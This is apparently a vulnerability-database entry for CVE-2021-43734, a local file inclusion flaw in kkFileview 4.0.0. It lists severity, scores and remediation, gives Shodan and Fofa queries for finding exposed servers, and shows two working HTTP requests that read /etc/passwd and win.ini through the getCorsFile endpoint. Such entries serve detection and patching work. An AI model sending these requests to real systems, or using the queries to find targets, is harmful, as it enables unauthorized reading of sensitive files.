| Title | kkFileview v4.0.0 - Local File Inclusion |
|---|---|
| Author | arafatansari |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system. |
| Remediation | Upgrade to a patched version of kkFileview v4.0.1 or later, or apply the necessary security patches provided by the vendor. |
| CVSS Score | 7.5 |
| EPSS Score | 0.75482 |
| CVE ID | CVE-2021-43734 |
| CWE ID | CWE-22 |
| Shodan Query | http.html:"kkFileView"http.html:"kkfileview" |
| Fofa Query | body="kkfileview"app="kkfileview" |
| Tags | cve2021 cve kkfileview traversal lfi keking vuln |
kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.
GET /getCorsFile?urlPath=file:///etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /getCorsFile?urlPath=file:///c://windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43734.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-43734.pcap
N/AN/A